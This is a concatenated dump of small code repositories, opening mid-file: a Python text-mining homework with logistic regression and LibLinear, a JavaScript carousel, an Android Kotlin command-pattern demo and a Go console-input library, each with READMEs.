w_final_unhashed_file_load, test_unhashed_feature_file, test_pred_unhashed_file, None, None) # obj.predict_class(True, w_final_hashed_file_load, test_hashed_feature_file, test_pred_hashed_file, None, None) #LIBLINEAR for SVM with original features if params.do_ll: print 'Starting LibLinear' obj.main_liblinear(train_unhashed_feature_file, train_hashed_feature_file, stars_file, num_features, \ ll_train_unhashed_file, ll_train_hashed_file, dev_unhashed_feature_file, dev_hashed_feature_file, \ ll_dev_unhashed_file, ll_dev_hashed_file, ll_train, ll_unhashed_model, ll_hashed_model, ll_predict, \ ll_unhashed_train_output, ll_hashed_train_output, ll_unhashed_dev_output, ll_hashed_dev_output) if params.do_feat_engg: num_features = 2000 print 'Starting Feature Engineering' # #feature engineering: using top 2000 terms and no hashing and simple tfidf print 'Creating parsed input file: printing number of rows processed' obj.parse_file(train_file, stopword_file, unhashed_dict_file, hashed_dict_file, stars_file, train_unhashed_csr_file, train_hashed_csr_file, sorted_dict_file, num_features, total_features, 'train') print 'Creating parsed dev file: printing number of rows processed' obj.parse_file(dev_file, stopword_file, unhashed_dict_file, hashed_dict_file, stars_file, dev_unhashed_csr_file, dev_hashed_csr_file, sorted_dict_file, num_features, total_features, 'dev') print 'Creating parsed test file: printing number of rows processed' obj.parse_file(test_file, stopword_file, unhashed_dict_file, hashed_dict_file, stars_file, test_unhashed_csr_file, test_hashed_csr_file, sorted_dict_file, num_features, total_features, 'test') print 'Creating feature engineered datasets: printing number of rows processed' obj.create_feat_eng_data(train_unhashed_feature_file, dev_unhashed_feature_file, test_unhashed_feature_file, train_unhashed_feateng_csr_file, dev_unhashed_feateng_csr_file, test_unhashed_feateng_csr_file) # #train and predict print 'Gradient descent on unhashed features. Printing hard cross-validation accuracies and rmse' obj.batched_gradient_descent(train_unhashed_feateng_feature_file, stars_file, w_final_unhashed_file, num_features, alpha, batch_size, lambda_var, cv_percentage) print 'Predicting dev set' obj.predict_class(True, w_final_unhashed_file_load, dev_unhashed_feateng_feature_file, dev_pred_feateng_unhashed_file, None, None) print 'Predicting test set' obj.predict_class(True, w_final_unhashed_file_load, test_unhashed_feateng_feature_file, test_pred_feateng_unhashed_file, None, None) <file_sep>train_file = './HW4_data/train.csv' dev_file = './HW4_data/dev.csv' test_file = './HW4_data/test.csv' k = 10 #There are 5 experiments: # '1': User-User # '2': Movie-Movie # '3': PCC # '4(i)': Clustering (User-User) # '4(ii)': Clustering (Movie-Movie) experiment = '4(i)' #'1', '2', '3', '4(i)', '4(ii)' run_clustering = False #whether you want to run clustering (True) or read directly from cluster file (False) [ONLY IF PRESENT] cluster_row_file = 'save_row' cluster_col_file = 'save_col' #output files out_file1 = './outputs/mdp.txt' #Mean dot product out_file2 = './outputs/mcs.txt' #Mean cosine similarity out_file3 = './outputs/wcs.txt' #Weighted cosine similarity out_file4 = './outputs/wdp.txt' #Weighted dot product #clustering params clustering_iterations = 20 user_clusters = 1200 movie_clusters = 600<file_sep>Source files: 1. main.py: Consists all the code for this homework, except bipartite clustering 2. params.py: Consist of the parameters required to run the code 3. hw2.py: Consists of bipartite clustering code from HW2 4. corpus_exp.py: Code used for corpus exploration question (not required to run the actual code for collaborative filtering) Other files and dir: 1. HW4_data: directory consisting of all the data 2. save_col.npz: Column (movie) clusters that I created while running my experiments 3. save_row.npz: Row (user) clusters that I created while running my experiments 4. outputs: empty dir for future outputs Running the code: 1. Modify the params.py file for the parameters. The descriptions are given in the file itself. 2. Then run: “python main.py” (i) Make sure params.py is in the same directory as main.py (ii) The default output consists of four files containing scores for (a) mean dot product (mdp.txt) (b) mean cosine similarity (mcs.txt) (c) weighted cosine similarity (wcs.txt) (d) weighted dot product (wdp.txt) The code also computes the weighted dot product, but it is not printed to a file as it was not part of the report. Comments: 1. For the report, I commented out certain parts of my code to compute one of the 3 (mdp, mcs, wcs) outputs at a time. 2. I have since removed the commenting so that it is easier to cross check the output by printing it all at once for a given experiment and k value. <file_sep># Machine Learning for Text Mining assignments <file_sep>Source files: 1. main.py: Consists all the code for this homework 2. params.py: Consist of the parameters required to run the code Other files and dir: 1. resources_parsed: directory that stores parsed input files 2. output: directory that stores model and prediction files 3. resources: directory containing resources 4. liblinear-2.1: directory containing liblinear files (after running Make) Before running the code: 1. Please put the training, dev, test json files and stopword list file in the 'resources' directory 2. Please put the liblinear files in the liblinear-2.1 directory (if you plan to run LibLinear) Running the code: 1. Modify the params.py file for the parameters. (i) The descriptions are given in the file itself. (ii) You can change the liblinear path and input paths here as well. 2. In the params file, set: (i) 'do_feat_engg' to True if you want to run feature engineering. (ii) 'do_ll' to True if you want to run LibLinear (SVM). --> Both are False by default and the code runs only Logistic Regression for hashed and unhashed features sets. 3. Then run: “python main.py” (i) Make sure params.py is in the same directory as main.py Output files: 1. output/dev_pred_hashed_file.txt: BGD dev output for hashed features 2. output/dev_pred_unhashed_file.txt: BGD dev output for unhashed features 3. output/ll_hashed_dev_output.txt: liblinear dev output for hashed features 4. output/ll_unhashed_dev_output.txt: liblinear dev output for unhashed features 5. output/dev_pred_feateng_unhashed_file.txt: dev predictions for engineered features 6. output/test_pred_feateng_unhashed_file.txt: test predictions for engineered features Comments: 1. The code trains both hashed and unhashed versions simultaneously and takes close to 15 minutes (8gb Mac Pro) to generate the csr matrix files initially 2. Creating the Liblinear format file took about the same time
fae2005de51df5b39045bc7dc6c215013215d733
[ "Markdown", "Python", "Text" ]
8
Python
neildhruva/MLTM
a809d756ee054cb64d7b905e4ad091a04f228913
89f8720ed9636e117586258494e29b2553e7c260
refs/heads/master
<file_sep>class Carousel { ElementID; DefaultIndex = 0; Infinity = true; List = []; CarouselWidth = 0; DOMCarouselWrapper; DOMCarouselInnerWrapper; DOMCarousel; DOMBulletWrapper; DOMPrevButton; DOMNextButton; ignite() { this.DOMCarouselWrapper = document.querySelector('#' + this.ElementID); this.DOMCarouselWrapper.innerHTML += `<button type="button" class="navigation-prev navigation"><</button>`; this.DOMCarouselWrapper.innerHTML += `<div class="carousel-inner-wrapper"><div class="carousel"></div></div>`; this.DOMCarouselWrapper.innerHTML += `<button type="button" class="navigation-next navigation">></button>`; this.DOMCarouselWrapper.innerHTML += `<ul class="bullets-wrapper"></ul>`; this.DOMCarousel = this.DOMCarouselWrapper.children[1].firstChild; this.DOMCarouselInnerWrapper = this.DOMCarouselWrapper.children[1]; this.DOMPrevButton = this.DOMCarouselWrapper.children[0]; this.DOMNextButton = this.DOMCarouselWrapper.children[2]; this.DOMBulletWrapper = this.DOMCarouselWrapper.childNodes[this.DOMCarouselWrapper.childNodes.length - 1]; this.List.forEach((item, index) => { this.DOMCarousel.innerHTML += item.Markup; this.DOMBulletWrapper.innerHTML += this.createBullets(item, index); const element = this.DOMCarouselWrapper.children[1].firstChild.children[index]; this.CarouselWidth += this.getElementFullWidth(element); console.log(' this.CarouselWidth', this.CarouselWidth); }); console.log(' this.CarouselWidth', this.CarouselWidth); this.DOMBulletWrapper.addEventListener('click', this.handleBulletClicks()); this.DOMCarouselWrapper.addEventListener('click', this.handleNavClicks()); this.DOMCarouselWrapper.addEventListener('keydown', this.handleKeys()); this.carouselMove(this.DefaultIndex); } addBlock(Block) { this.List.push(Block); } createBullets(item, index) { return `<li class="li-dot" data-block-index="${index}"><span class="dot"></span></li>`; } scrollNext() { if (this.DefaultIndex + 1 < this.List.length) { this.DefaultIndex += 1; this.carouselMove(this.DefaultIndex); } else if (this.Infinity) { this.DefaultIndex = 0; this.carouselMove(this.DefaultIndex); } } scrollPrev() { if (this.DefaultIndex > 0) { this.DefaultIndex -= 1; this.carouselMove(this.DefaultIndex); } else if (this.Infinity) { this.DefaultIndex = this.List.length - 1; this.carouselMove(this.DefaultIndex); } } carouselMove(index) { let translate = 0; const element = this.DOMCarouselWrapper.children[1].firstChild.children[index]; const blockWidth = this.getElementFullWidth(element); if (index === 0) { translate = this.DOMCarouselInnerWrapper.offsetWidth / 2 - blockWidth / 2; } else if (this.List.length === (index + 1)) { translate = -(this.DOMCarousel.offsetWidth - (this.DOMCarouselInnerWrapper.offsetWidth / 2) - (blockWidth / 2)); } else { let elementsBefore = 0; for (let iteration = 0; iteration < index; iteration++) { const element = this.DOMCarouselWrapper.children[1].firstChild.children[iteration]; elementsBefore += this.getElementFullWidth(element); } translate = this.DOMCarouselInnerWrapper.offsetWidth / 2 - (elementsBefore + blockWidth / 2); } this.dotHighlight(); this.navigationVisibility(); this.setCarouselStyle(translate) } setCarouselStyle(translate) { this.DOMCarousel.style.transform = `translateX(${translate}px)`; this.DOMCarousel.style.width = `${this.CarouselWidth}px`; } dotHighlight() { const elementNodeList = document.querySelectorAll('#' + this.ElementID + ' .li-dot'); const elementList = Array.from(elementNodeList); elementList.forEach(item => { if (+item.dataset.blockIndex === this.DefaultIndex) { item.classList.add('active'); } else { item.classList.remove('active'); } }); } navigationVisibility() { if (!this.Infinity) { if (this.DefaultIndex === this.List.length - 1) { this.DOMNextButton.classList.add('hide-me'); } else { this.DOMNextButton.classList.remove('hide-me'); } if (this.DefaultIndex === 0) { this.DOMPrevButton.classList.add('hide-me'); } else { this.DOMPrevButton.classList.remove('hide-me'); } } } getElementFullWidth(element) { const elementStyle = window.getComputedStyle(element); const elementWidth = element.offsetWidth; const elementMargin = parseFloat(elementStyle.marginLeft) + parseFloat(elementStyle.marginRight); const elementPadding = parseFloat(elementStyle.paddingLeft) + parseFloat(elementStyle.paddingRight); const elementBorder = parseFloat(elementStyle.borderLeftWidth) + parseFloat(elementStyle.borderRightWidth); return elementWidth + elementMargin - elementPadding + elementBorder; } /*** event handler functions ***/ handleNavClicks = () => (event) => { if (event.target.classList.contains('navigation-prev')) { this.scrollPrev(); } else if (event.target.classList.contains('navigation-next')) { this.scrollNext(); } }; handleBulletClicks = () => (event) => { if (event.target.nodeName === 'LI') { this.DefaultIndex = +event.target.dataset.blockIndex; this.carouselMove(this.DefaultIndex); } }; handleKeys = () => (event) => { console.log('event', event); switch (event.key) { case "ArrowLeft": this.scrollPrev(); break; case "ArrowRight": this.scrollNext(); break; } }; } class Block { Content = null; Markup = null; constructor(Content) { this.Content = Content this.Markup = `<div class="single-block">${Content}</div>`; } } /* Carousel 1 */ const carousel = new Carousel(); carousel.ElementID = 'carousel1'; carousel.addBlock(new Block(`<div style="width: 400px; text-align:center"><h3>HTML block</h3><p>First Paragraph</p> <p>Second Paragraph, Lorem Ipsum is simply dummy text.</p> </div>`)); carousel.addBlock(new Block(`<img src="assets/images/cat.png" alt="cat picture"></div>`)); carousel.addBlock(new Block(`Lorem Ipsum is simply dummy text of the printing and typesetting industry.`)); carousel.addBlock(new Block(`Non formatted text block`)); carousel.addBlock(new Block(`Non formatted text block`)); carousel.addBlock(new Block(`Non formatted text block`)); carousel.addBlock(new Block(`Non formatted text block`)); carousel.ignite(); /* Carousel 2 */ const carousel2 = new Carousel(); carousel2.ElementID = 'carousel2'; carousel2.DefaultIndex = 2; carousel2.Infinity = false; carousel2.addBlock(new Block(`<div style="width: 400px; text-align:center"><h3>HTML block</h3><p>First Paragraph</p> <p>Second Paragraph, Lorem Ipsum is simply dummy text.</p> </div>`)); carousel2.addBlock(new Block(`<img src="assets/images/cat.png" alt="cat picture"></div>`)); carousel2.addBlock(new Block(`Lorem Ipsum is simply dummy text of the printing and typesetting industry.`)); carousel2.addBlock(new Block(`Non formatted text block`)); carousel2.addBlock(new Block(`Non formatted text block`)); carousel2.addBlock(new Block(`Non formatted text block`)); carousel2.addBlock(new Block(`Non formatted text block`)); carousel2.ignite(); <file_sep># SimpleJSCarousel DEMO: https://costlydeveloper.github.io/SimpleJSCarousel/
bcb7cf6ea6fad8e82e27e71f80132d12e7b0670f
[ "JavaScript", "Markdown" ]
2
JavaScript
CostlyDeveloper/SimpleJSCarousel
9125096433635c58d1d9a5e33d0e9b87ade98ca0
8a294e9958656e75eac764c1168395e3ae25340b
refs/heads/master
<repo_name>dcdrawk/dndhub-react<file_sep>/src/components/material/lists/ListItem.js /* Created By: <NAME> Selector: <ListItem Attributes: *type*:['single-line', 'two-line', 'three-line'] icon avatar text subject secondary-text /> */ import React, {Component} from 'react'; import PaperRipple from 'paper-ripple'; class ListItem extends Component { render() { return ( <li className={`list-item ${this.props.avatar ? 'avatar' : ''} ${this.props.secondaryText ? 'two-line' : ''}`} ref={(c) => {this.listItem = c} }> {this.props.avatar && this.props.icon ? <span className="list-item-avatar"> <i className="material-icons">{this.props.icon}</i> </span> : null } {!this.props.avatar && this.props.icon ? <span className="list-item-icon"> <i className="material-icons">{this.props.icon}</i> </span> : null } {this.props.secondaryText ? <span className="list-item-text-container"> <span className="item-text">{this.props.text}</span> <span className="secondary-text">{this.props.secondaryText}</span> </span> : <span className="list-item-text-container"> <span className="item-text">{this.props.text}</span> </span> } </li> ); } componentDidMount() { var listItem = this.listItem; // New PaperRipple for the button var ripple = new PaperRipple(); // Adding ripple container to the button listItem.appendChild(ripple.$); // Subscribing to 'mousedown' and 'mouseup' button events to activate ripple effect // when a user clicks on the button. listItem.addEventListener('mousedown', function(ev) { ripple.downAction(ev); }); listItem.addEventListener('mouseup', function() { ripple.upAction(); }); } } export default ListItem;<file_sep>/src/components/material/text-fields/Input.js import React, {Component} from 'react'; class Input extends Component { constructor(props) { super(props); this.state = { value : props.value ? props.value : '' }; } handleChange(event) { this.setState({value: event.target.value}); } componentDidMount() { if(this.state.value) { let label = this.input.getElementsByTagName('label')[0]; label.className = 'input-focus'; } } onFocus() { this.setState({focus: true}); } onBlur() { this.setState({focus: false}); } render() { return ( <div className={`input ${this.state.focus ? 'focus' : ''} ${this.state.value ? 'has-value' : ''} `} onFocus={ this.onFocus.bind(this) } onBlur={ this.onBlur.bind(this) } ref={(c) => { this.input = c}}> <label>{this.props.label}</label> <input type={this.props.type} value={this.state.value} onChange={ this.handleChange.bind(this) }/> </div> ); } } export default Input;<file_sep>/src/components/material/lists/List.js import React, {Component} from 'react'; import ListItem from './ListItem'; class List extends Component { render() { return ( <ul className={`list ${this.props.dense ? 'dense' : ''}`}> <ListItem icon="star" text="Here is my list 1"/> <ListItem avatar icon="folder" text="Here is my list 1"/> <ListItem text="Here is my list 2"/> <ListItem icon="star" text="Here is my list 1"/> <ListItem icon="star" text="Here is my list 1" secondaryText="Secondary Text"/> <ListItem avatar icon="folder" text="Here is my list 1" secondaryText="Secondary Text"/> <ListItem text="Here is my list 2 dkoaspdkopa kdaopd kopad ksdk os dkoas sdaodpkas asdkopa " secondaryText="Secondary Tex das dad ads a dsa sdadad adadsadsad a dasd as da t"/> <ListItem icon="star" text="Here is my list 1" twoLine/> </ul> ); } } export default List;<file_sep>/src/components/material/controls/Checkbox.js import React, {Component} from 'react'; import PaperRipple from 'paper-ripple'; class Checkbox extends Component { constructor(props) { super(props); this.state = { value : false }; } handleChange(event) { // this.setState({value: event.target.value}); } componentDidMount() { var checkbox = this.checkbox; // New PaperRipple for the button var ripple = new PaperRipple({ center: true, round: true } ); // Adding ripple container to the button checkbox.appendChild(ripple.$); // Subscribing to 'mousedown' and 'mouseup' button events to activate ripple effect // when a user clicks on the button. checkbox.addEventListener('mousedown', function(ev) { ripple.downAction(ev); }); checkbox.addEventListener('mouseup', function() { ripple.upAction(); }); } onFocus() { // this.setState({focus: true}); } onBlur() { // this.setState({focus: false}); } onClick() { console.log('test'); this.setState({value: !this.state.value}); } render() { return ( <div ref={(c) => {this.checkbox = c} } className={`checkbox-container ${this.state.value ? 'has-value' : ''}`} onClick={this.onClick.bind(this) }> <div className="checkbox "> </div> <i className="material-icons">check</i> </div> ); } } export default Checkbox;<file_sep>/src/components/material/button/Button.js import React, {Component} from 'react'; import PaperRipple from 'paper-ripple'; class Button extends Component { componentDidMount() { var button = this.button; // New PaperRipple for the button var ripple = new PaperRipple(); // Adding ripple container to the button button.appendChild(ripple.$); // Subscribing to 'mousedown' and 'mouseup' button events to activate ripple effect // when a user clicks on the button. button.addEventListener('mousedown', function(ev) { ripple.downAction(ev); }); button.addEventListener('mouseup', function() { ripple.upAction(); }); } render() { return ( <button ref={(c) => {this.button = c} } className={`button paper-button ${this.props.raised ? 'raised' : 'flat'} ${this.props.primary ? 'primary' : ''}`}>{this.props.children}</button> ); } } export default Button;<file_sep>/src/components/material/toolbar/AppBar.js import React, {Component} from 'react'; import ToolBar from './Toolbar'; class Toolbar extends Component { render() { return ( <ToolBar title={this.props.title}/> ); } } export default Toolbar;
74012aff243f9317a4a18f1e37d6691d54d542b3
[ "JavaScript" ]
6
JavaScript
dcdrawk/dndhub-react
469f27f0aebb7e6032d3fa2da5885e2571e54696
9f8bc2f9940827a6c7de60ed7c03c7087201d8ff
refs/heads/master
<repo_name>typesend/we_the_people<file_sep>/lib/we_the_people/resources/user.rb module WeThePeople module Resources class User < WeThePeople::Resource attribute :created, Time has_embedded :location end end end<file_sep>/README.md # WeThePeople `we_the_people` is a gem to access the new [We The People](https://petitions.whitehouse.gov) petitions API. # Quickstart Here are a few example calls: ```ruby >> petition = WeThePeople::Resources::Petition.find("1234") >> petition.body # => "Example body" >> petition.title # => "My Example Petition" >> petition.issues.first.name # => "Civil Rights" >> petitions = WeThePeople::Resources::Petition.all >> petition2 = petitions.first # Not yet implemented in the API (signatures)... >> petition2.signatures.all.first.city # => "Orlando" ``` # Configuration You can configure a few options on the `WeThePeople` module: * `api_key` - Your We The People API key (optional). * `default_page_size` - The page size to request by default for all resources. * `client` - If you don't want to use `rest-client` you can substitute in another HTTP client object that conforms to the same API here. * `mock` - If set to "1", all requests will return mock results. # Contributing Hack some code, make a pull request. I'll review it and merge it in! Need some ideas as to where to get started? Here are a few: * Tests. Please? * Make resources be able to be related + associated. It looks like responses may end up going this route. * Documentationages.
5e21efd0de5dd7646559c732911eb9099489f4ef
[ "Markdown", "Ruby" ]
2
Ruby
typesend/we_the_people
99758c9782f8aff4afe9f5128fa04599bb777fb4
7a84b403bfee52de08614b3a8375946ce470a1b6
refs/heads/master
<repo_name>surTiw89/search-operators-cheatsheet<file_sep>/README.md # Search Operators Cheatsheet This extension aims to remind you search operators that are used to refine search results. The extension just gives examples of them. It doesn't aim to replace Google Advanced Search. This extension doesn't collect any user and web page information. It only runs on google.com. It is free to use. ![Search Operators Cheatsheet](assets/original.png) ## Contributions Contributions are welcome. Please follow the standart.js convention if you want to contribute. <file_sep>/main.js /*! * License: MIT * Author: <NAME>, http://ilhan-mstf.github.io/ */ const searchForm = document.getElementById("searchform"); if (searchForm) { const searchOperatorsContainer = document.createElement("div"); searchOperatorsContainer.className = "search-operators-ext-container"; searchOperatorsContainer.innerHTML = ` <select class="search-operators-ext-select"> <option>Exact Match = "steve jobs"</option> <option>And = jobs AND gates</option> <option>Or = jobs OR gates</option> <option>Or = jobs | gates</option> <option>Exclude = jobs ‑apple</option> <option>Dictionary = define:entrepreneur</option> <option>Filetype = apple ext:pdf</option> <option>Site = site:apple.com</option> <option>Related = related:apple.com</option> <option>Weather = weather:san francisco</option> <option>Map = map:silicon valley</option> <option>Source = apple source:the_verge</option> <option>Location = loc:"san francisco" apple</option> <option>Conversion = $329 in GBP</option> <option>Conversion = 2kg in pounds</option> <option>Conversion = 2km in miles</option> <option>--</option> <option>added by Search Operators Cheatsheet Extension</option> <option>--</option> </select>`; searchForm.appendChild(searchOperatorsContainer); }<file_sep>/DetailedDescription.md # Search Operators Cheatsheet This extension aims to remind you search operators that are used to refine search results. It just gives examples of them. It doesn't aim to replace Google Advanced Search. It only works on google.com. It doesn't collect any user and web page information. It only runs on google.com. It is free to use. ## Contributions Contributions are welcome. Please follow the standart.js convention if you want to contribute. Release Log: ------------ Version 0.0.2: - Style fix Version 0.0.1: - Initial Release
a391238361b2a1cd79b2d1bf6a7d457bf91fa5e0
[ "Markdown", "JavaScript" ]
3
Markdown
surTiw89/search-operators-cheatsheet
47c06f92ac65455144e5a7ac1788752fa9bd253d
e53be54c6a71ab1f49dd5f63283548caa967f89a
refs/heads/main
<repo_name>blasiusneri/CommandPatternAndroidDemo<file_sep>/app/src/main/java/com/x/blas/commanddemo/MainActivity.kt package com.x.blas.commanddemo import androidx.appcompat.app.AppCompatActivity import android.os.Bundle import android.widget.Button import com.x.blas.commanddemo.command.APageCommand import com.x.blas.commanddemo.command.BPageCommand import com.x.blas.commanddemo.command.CPageCommand import com.x.blas.commanddemo.command.Command class MainActivity : AppCompatActivity() { companion object { private const val BUTTON_NUMBER = 3 private const val BUTTON_ONE = 0 private const val BUTTON_TWO = 1 private const val BUTTON_THREE = 2 } private var commands = arrayOfNulls<Command>(BUTTON_NUMBER) override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_main) initCommand() initButton() } private fun initButton() { findViewById<Button>(R.id.bt_one).setOnClickListener { commands[0]?.execute(this) } findViewById<Button>(R.id.bt_two).setOnClickListener { commands[1]?.execute(this) } findViewById<Button>(R.id.bt_three).setOnClickListener { commands[2]?.execute(this) } } private fun initCommand() { val APageCommand = APageCommand() val BPageCommand = BPageCommand() val CPageCommand = CPageCommand() setCommand(BUTTON_ONE, APageCommand) setCommand(BUTTON_TWO, APageCommand) setCommand(BUTTON_THREE, CPageCommand) } private fun setCommand(slot: Int, command: Command) { this.commands[slot] = command } }<file_sep>/app/src/main/java/com/x/blas/commanddemo/command/CPageCommand.kt package com.x.blas.commanddemo.command import android.content.Context import android.content.Intent import com.x.blas.commanddemo.ActivityC /** * Created by blasius.n.puspika on 09/03/21. */ class CPageCommand : Command { override fun execute(context: Context) { context.startActivity(Intent(context, ActivityC::class.java)) } }<file_sep>/app/src/main/java/com/x/blas/commanddemo/command/Command.kt package com.x.blas.commanddemo.command import android.content.Context /** * Created by blasius.n.puspika on 09/03/21. */ interface Command { fun execute(context: Context) }<file_sep>/app/src/main/java/com/x/blas/commanddemo/command/BPageCommand.kt package com.x.blas.commanddemo.command import android.content.Context import android.content.Intent import com.x.blas.commanddemo.ActivityB /** * Created by blasius.n.puspika on 09/03/21. */ class BPageCommand : Command { override fun execute(context: Context) { context.startActivity(Intent(context, ActivityB::class.java)) } }<file_sep>/README.md # CommandPatternAndroidDemo ![](command_android.gif) *set button action to use command ``` private fun initButton() { findViewById<Button>(R.id.bt_one).setOnClickListener { commands[0]?.execute(this) } findViewById<Button>(R.id.bt_two).setOnClickListener { commands[1]?.execute(this) } findViewById<Button>(R.id.bt_three).setOnClickListener { commands[2]?.execute(this) } } ``` *define each command to do concreate command using setCommand ``` private fun initCommand() { val APageCommand = APageCommand() val BPageCommand = BPageCommand() val CPageCommand = CPageCommand() setCommand(BUTTON_ONE, APageCommand) setCommand(BUTTON_TWO, APageCommand) setCommand(BUTTON_THREE, CPageCommand) } ``` <file_sep>/app/src/main/java/com/x/blas/commanddemo/command/APageCommand.kt package com.x.blas.commanddemo.command import android.content.Context import android.content.Intent import com.x.blas.commanddemo.ActivityA /** * Created by blasius.n.puspika on 09/03/21. */ class APageCommand : Command { override fun execute(context: Context) { context.startActivity(Intent(context, ActivityA::class.java)) } }<file_sep>/app/src/main/java/com/x/blas/commanddemo/ActivityA.kt package com.x.blas.commanddemo import androidx.appcompat.app.AppCompatActivity import android.os.Bundle class ActivityA : AppCompatActivity() { override fun onCreate(savedInstanceState: Bundle?) { super.onCreate(savedInstanceState) setContentView(R.layout.activity_a) } }
da9b1b002bc256bb9d88e02e6c64ac7bdfcbde49
[ "Markdown", "Kotlin" ]
7
Kotlin
blasiusneri/CommandPatternAndroidDemo
bf8d1a420a0d081e0f27190f5056c07d071afc48
6d0921920d8edaf1b130cc388fb534faed6af949
refs/heads/master
<file_sep># InputConsole [![GoDoc](https://godoc.org/github.com/nathan-fiscaletti/inputconsole-go?status.svg)](https://godoc.org/github.com/nathan-fiscaletti/inputconsole-go) [![Go Report Card](https://goreportcard.com/badge/github.com/nathan-fiscaletti/inputconsole-go)](https://goreportcard.com/report/github.com/nathan-fiscaletti/inputconsole-go) **InputConsole** is a console for Go that will keep all output above the input line without interrupting the input line. [Looking for the Python version?](https://github.com/nathan-fiscaletti/inputconsole) ## Install ```sh $ go get github.com/eiannone/keyboard $ go get github.com/nathan-fiscaletti/inputconsole ``` ## Usage ```go import( "time" "github.com/nathan-fiscaletti/inputconsole-go" ) func main() { console := inputconsole.NewInputConsole() // Register a command. // Runtime exceptions caused by commands are automatically caught // and an error message will be written to the inputconsole. console.RegisterCommand("help", func(params []string) { console.Writef("I don't want to help you %s", params[0]) }) // Start listening for input on a new thread // Input line will always stay at the bottom console.ListenForInput("> ") // Set unknown command handler, Return 'true' for command handled // or 'false' for command not handled. console.SetUnknownCommandHandler(func(command string) bool { console.Writef("Unknown command: %s\n", command) return true }) // Generate random output to keep the output thread active. go func() { var cnt int = 0 for { console.Writef("This is a test message: %d\n", cnt) time.Sleep(time.Second) cnt = cnt + 1 } }() // Keep the process alive for true { time.Sleep(time.Second) } } ``` <file_sep>package inputconsole import ( "fmt" "strings" "github.com/eiannone/keyboard" ) // InputConsole represents a console in which the input text is kept // separate from the output text. You will be able to type on the // input line without the output lines interfering with it. type InputConsole struct { inputString string prompt string unknownCommandHandler func(string)bool commands map[string]func([]string) } // NewInputConsole creates a new instance of an InputConsole. func NewInputConsole() *InputConsole { return &InputConsole { inputString: "", prompt: "> ", unknownCommandHandler: nil, commands: map[string]func([]string){}, } } // Writef will write a message to the InputConsole using the specified // format and arguments. func (ic *InputConsole) Writef(format string, vargs ...interface{}) { text := fmt.Sprintf(format, vargs...) output := fmt.Sprintf( "\r\033[K%s\n", strings.TrimRight(text, "\n"), ) output = fmt.Sprintf("%s\r%s", output, ic.prompt) output = ic.parseInputString(output) fmt.Printf(output) } // ListenForInput will listen for input on a new thread using the // specified prompt. func (ic *InputConsole) ListenForInput(prompt string) { ic.prompt = prompt go ic.inputThread() } // RegisterCommand will register a command with the specified name and // action. The action callback should take an array of strings that // will represent the arguments passed to the command. func (ic *InputConsole) RegisterCommand( name string, action func([]string), ) { ic.commands[name] = action } // SetUnknownCommandHandler will set the handler to use for unknown // commands. The handler will be passed the full command string and // should return a boolean indicating whether or not the command was // handled by the handler. func (ic *InputConsole) SetUnknownCommandHandler( handler func(string)bool, ) { ic.unknownCommandHandler = handler } func (ic *InputConsole) inputThread() { fmt.Printf("%s", ic.prompt) err := keyboard.Open() defer func() { _ = keyboard.Close() }() if err != nil { panic(err) } inputloop: for true { var r rune var key keyboard.Key var err error for { r, key, err = keyboard.GetKey() if err != nil { panic(err) } if key == keyboard.KeyBackspace || key == keyboard.KeyBackspace2 { if ic.inputString != "" { lastCharPos := len(ic.inputString)-1 ic.inputString = ic.inputString[:lastCharPos] fmt.Printf("\b\033[K") } } else if key == keyboard.KeyArrowUp || key == keyboard.KeyArrowDown || key == keyboard.KeyArrowLeft || key == keyboard.KeyArrowRight { fmt.Printf("\033[C") } else if key == keyboard.KeySpace { ic.inputString = fmt.Sprintf("%s ", ic.inputString) } else if r != '\x00' { ic.inputString = fmt.Sprintf( "%s%c", ic.inputString, r, ) } fmt.Printf(ic.parseInputString( fmt.Sprintf("\r%s", ic.prompt), )) if key == keyboard.KeyEnter || key == keyboard.KeyCtrlC { break } } if key == keyboard.KeyCtrlC { // _ = keyboard.Close() break inputloop } if key == keyboard.KeyEnter { ret := ic.inputString key = 0 ic.inputString = "" ic.handleCommand(strings.TrimRight(ret, "\r\n")) } } } func (ic *InputConsole) handleCommand(command string) { commandComponents := strings.Split(command, " ") commandName := commandComponents[0] for name,action := range ic.commands { if name == commandName { defer func() { if r := recover(); r != nil { ic.Writef( "Failed to run command '%s': %v", commandName, r, ) } }() action(commandComponents[1:]) return } } if ic.unknownCommandHandler != nil { if ic.unknownCommandHandler(command) { return } } ic.Writef(fmt.Sprintf("Unknown command: %s\n", command)) } func (ic *InputConsole) parseInputString(prefix string) string { printableInputString := ic.inputString _inputStringComponents := strings.Split(ic.inputString, " ") // Replicate the same style of string splitting that we use in // python to make this a little easier var inputStringComponents []string for _,str := range _inputStringComponents { if str != "" { inputStringComponents = append(inputStringComponents, str) } } if len(inputStringComponents) > 0 { spaceChar := "" if len(inputStringComponents) > 1 { spaceChar = " " } hasCommand := false for name,_ := range ic.commands { if name == inputStringComponents[0] { hasCommand = true } } if hasCommand { printableInputString = fmt.Sprintf( "\033[92m%s\033[0m%s%s", inputStringComponents[0], spaceChar, strings.Join(inputStringComponents[1:], " "), ) } else { printableInputString = fmt.Sprintf( "\033[91m%s\033[0m%s%s", inputStringComponents[0], spaceChar, strings.Join(inputStringComponents[1:], " "), ) } if strings.HasSuffix(ic.inputString, " ") { printableInputString = fmt.Sprintf( "%s ", printableInputString, ) } } return fmt.Sprintf("%s%s", prefix, printableInputString) }
9da965e6cf91a28dd0f98216967b1c64bdb97f76
[ "Markdown", "Go" ]
2
Markdown
nathan-fiscaletti/inputconsole-go
910cf127babc1c1469b4c652d5f9ae4d5a8bd08b
d564d9c059518724629093c21deb508841a0cea0